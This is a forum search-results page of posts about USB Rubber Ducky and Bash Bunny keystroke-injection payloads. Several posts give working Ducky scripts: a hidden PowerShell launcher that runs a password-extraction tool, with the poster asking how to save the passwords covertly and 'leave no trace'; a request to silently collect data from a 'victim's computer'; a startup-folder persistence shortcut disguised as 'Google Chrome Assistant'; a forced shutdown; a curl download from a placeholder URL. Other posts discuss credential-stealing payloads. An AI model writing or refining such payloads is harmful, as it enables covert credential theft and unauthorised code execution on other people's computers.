Search the Community
Showing results for tags 'payloads'.
Found 19 results
-
I am happy to announce that the DuckToolkit NG is now available! This is an entirely new version of the previous site which has been rewritten in Python/Django by myself and KevtheHermit. Current Features: Online Encoder 30+ Recon/Exploit/Reporting PowerShell scripts Online Decoder UK/US Language Support Standalone Python Encoder/Decoder We are working to add new languages and to implement Linux/OSX scripts in the coming weeks, however since this in an open source project please feel free to help us! If you want a certain language added then help us by writing it! You can access the online DuckToolkit NG here: https://www.ducktoolkit.com You can access the standalone DuckToolkit here: https://github.com/kevthehermit/DuckToolkit Any issues, comments or suggestions then either post on the Disqus thread on the website or respond in this thread, 411.
-
I'm currently learning ruby and trying to write a payload to test. But I don't know a good way to test it. Any tips??
-
Hi, I'm searching for a dataset which contains several payloads which used for systems and network attacks. I'm working on a project which aims to classify them using a supervised machine learning technique. I would like to have it as the following (but even if you have something similar, it would be ok, I will check it and adapt it to the model) Payload | Description(i.e buffer overflow, remote code execution ... etc) | Signatures (port open, OS, IPversion ... etc)| Systems or Network | appreciate your help. Sincerely,
-
Hi Guys I need help creating a payload on the Twin Duck rubber ducky that silently runs tree /a/ /f on the victims computer and then saves the output to the ducky. This is the code that I have so far: for /f %d in ('wmic volume get driveletter^, label ^| findstr "DUCKY"') do set myd=%d&echo tree /a /f > echotree.cmd&echotree.cmd > %myd%/results.txt&del echotree.cmd I would like to run it in the Run line. Please help me to optimise it!
-
I wrote a simple but effective payload. At least when you hold the button on the Rubber Ducky, Payload: DELAY 500 GUI R DELAY 500 STRING shutdown /s DELAY 500 ENTER ____________ I can't get it to auto-start, essentially.
-
boa tarde, estou com dificuldades para instalar as ferramentas o meu Bash bunny, copiei os arquivos .deb para tools mas não instala quando conecto em modo armamento os arquivos ainda estão lá, o Firmware v1.3 esta instalado. desculpe pelo ingles
-
Hello. I have installed all languages and all of seb's tools. Not a single credentials payload has worked for me. Wificreds, browser creds, mr robot, etc.... I have had, out of every category i've tried, one payload work. Am i doing something wrong? All files are in switch1/switch2 that need to be. Thanks for all responses.
-
There have been no updates to the Github payload repository for some time. Is this no longer being used as the mechanism for sharing payloads?
-
I found this script that is actualy working very well. It is running .exe from SD instead of download and execute. Now, I am running webbrowserpassview.exe and it extracts the passwords on the screen. I want to save it as .txt , download it on twinduck (SD) and close the window on desktop, so I leave no trace. Does anyone knows how to continue the script bellow to proceed this action? REM RunEXE From TwinDuck SD By rickblack28 DELAY 5000 GUI r DELAY 100 STRING powershell -windowstyle hidden ; Start-Process "D:\hello.exe" ; Start-Process "E:\hello.exe" ; Start-Process "F:\hello.exe" ; Start-Process "G:\hello.exe" ; Start-Process "H:\hello.exe" ; Start-Process "K:\hello.exe" ; Start-Process "Z:\hello.exe" ENTER Also searching some new scripts for windows7 that are actually working. Thanks guys.
-
Hey! I have had some pretty interesting ideas floating around in my head for a while. Some of them I don't have the know-how to write them and others I just get side-tracked or just have too many ideas in my head. Not to mention there are some ideas you just forget about because it leads you on to another idea which goes on to another and another and you just lose control over all your ideas. So I thought, well, we should have a pinned forum post for these ideas/concepts/theories. I think it would be a good idea to have a more community-based look at payload theories and concepts, as all parties can benefit from it a lot more than just one party going "Ah, this would never work.." and giving up on it after trying for an hour or two (I've done this and come back to it a few months later realising it was entirely possible, I just didn't have the know-how). So, why not create a pinned forum post for Payload Theories and Concepts? I reckon it would be good. :) @Sebkinne @Darren Kitchen
-
Hey guys? I have been trying the executable installer and usb exfiltrator for bash bunny but it's not working. The only payload that is working is the quickcreds payload. Is it because I installed the tools that the executable installer and usb exfiltrator are not working? I made sure that the "d.cmd", "e.cmd" and "i.vbs" files are in the ROOT of the the bashbunny and the "payload.txt" is in the "switch1" of the Bash Bunny. What is going on? Please help.
-
What are your thoughts on a subforum for new/updated payloads only? People seem to be creating quite a few payloads, and pull requests seem to be quite slow to get reviewed/merged. I suggest a subforum, e.g. `Home > Active Projects > Bash Bunny > Payload Discussion` for people to post new payload threads which will allow forum visitors to easily find and try new payloads and provide input before Github merges. Support, features suggestions, etc can stay in the parent forum.
-
So, the original way the BB works is just fine. copy your files, run. save, done. but why bother copying? With my new "payload" called ConfigPayloads, you can use a config.txt file simply supply the directory of the payload you want to run, and presto manifesto, you're all done. On top of that, the old way left you wondering which payloads you have where. No longer! with one file to show you the directory you are pointing to, you can quickly see your configuration! quickly swap out payloads and easily see which payloads will be ran! The best part is that this change is COMPLETELY BACKWARDS COMPATIBLE! That's right folks! If you want to go back to using the switch1, switch2 folders you can! just rename or remove the handy dandy config.txt and you're right back to basics! Enjoy! https://github.com/hak5/bashbunny-payloads/pull/106 (pull request pending)
-
Hello all, i am new with rubber ducky, can anyone explain the below things to me so that i can get a clear image for it. can i use it as a usb mass storage device ? like it should show in PC that new mass storage device found and i can put files into it directly ( the mounted sdcard space) ? without remove sd card again and again ? will payloads wrok ? if i put files directly from PC into sdcard (without removing) using ducky usb port ? will ducky works (executes the commands / keyboards key ) while pluging into PC first time ? like as i feel like it does'nt work on first time it detects and install drivers and i have to re-plugin again to get it work. Thank you in advance, please explain a bit and suggest. -
Hello, it looks like i placed topic in wrong area so posting here in relative one ( as i thought i will not get reply on that post which is not related), sorry for that. i am new with rubber ducky, can anyone explain the below things to me so that i can get a clear image for it. can i use it as a usb mass storage device ? like it should show in PC that new mass storage device found and i can put files into it directly ( the mounted sdcard space) ? without remove sd card again and again ? will payloads wrok ? if i put files directly from PC into sdcard (without removing) using ducky usb port ? will ducky works (executes the commands / keyboards key ) while pluging into PC first time ? like as i feel like it does'nt work on first time it detects and install drivers and i have to re-plugin again to get it work. Thank you in advance, please explain a bit and suggest.
-
Does anyone want to write OS X and/or linux payloads together? you can email me at: hh1rimrock@gmail.com
-
Hi all, Just got my first USB Rubber Ducky and decided to write a payload to prank some friends. REM Title: OSX background changer REM This payload will open terminal, download an image to the default desktop REM pictures directory, set it as the background then kill the dock to REM refresh the background. It also closes the terminal window. DELAY 3000 GUI SPACE STRING terminal DELAY 200 ENTER DELAY 200 STRING cd /Library/Desktop\ Pictures DELAY 200 ENTER STRING curl -s -O http://YOUR_URL_HERE/1.jpg ENTER DELAY 2000 STRING defaults write com.apple.desktop Background '{default = {ImageFilePath = "/Library/Desktop Pictures/1.jpg";};}' ENTER DELAY 200 STRING killall Dock ENTER STRING killall Terminal ENTER Be sure to put in a valid URL of the image you want to set as the background. This works best if you're using the latest firmware with the vidpid.bin file set to 05ac 0202. It's my first payload, so if you see anything the matter, please let me know. L
-
Hey all, My first payload is done, and whilst simple, it is good as it will only really be noticed many hours or days after injection. It creates a shortcut in the Windows 7 startup folder called "Google Chrome Assistant". When the PC boots, it opens the youtube video in the shortcut fullscreen, looping. At the moment it is Nyancat, but if you are using your own video, remember to change 'watch' in the url to 'watch_popup' and add '&loop=1' to the end of the URL for infinity goodness. REM Title: Youtube Startup Folder Roller DELAY 1000 GUI r DELAY 50 STRING "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\" ENTER DELAY 100 SHIFT F10 DELAY 100 STRING w DELAY 100 STRING w ENTER DELAY 100 STRING S ENTER DELAY 100 STRING http://www.youtube.com/watch_popup?v=QH2-TGUlwu4&loop=1 ENTER DELAY 100 STRING Google Chrome Assistant ENTER DELAY 100 ALT f DELAY 100 STRING c Enjoy! Morrolan -
has anyone found a way to make the rubber ducky run more than one payload at the same time or back to back? I would like to run my system32 or rick roll and wallpaper trick but i dont want to make one payload thats a mile long.
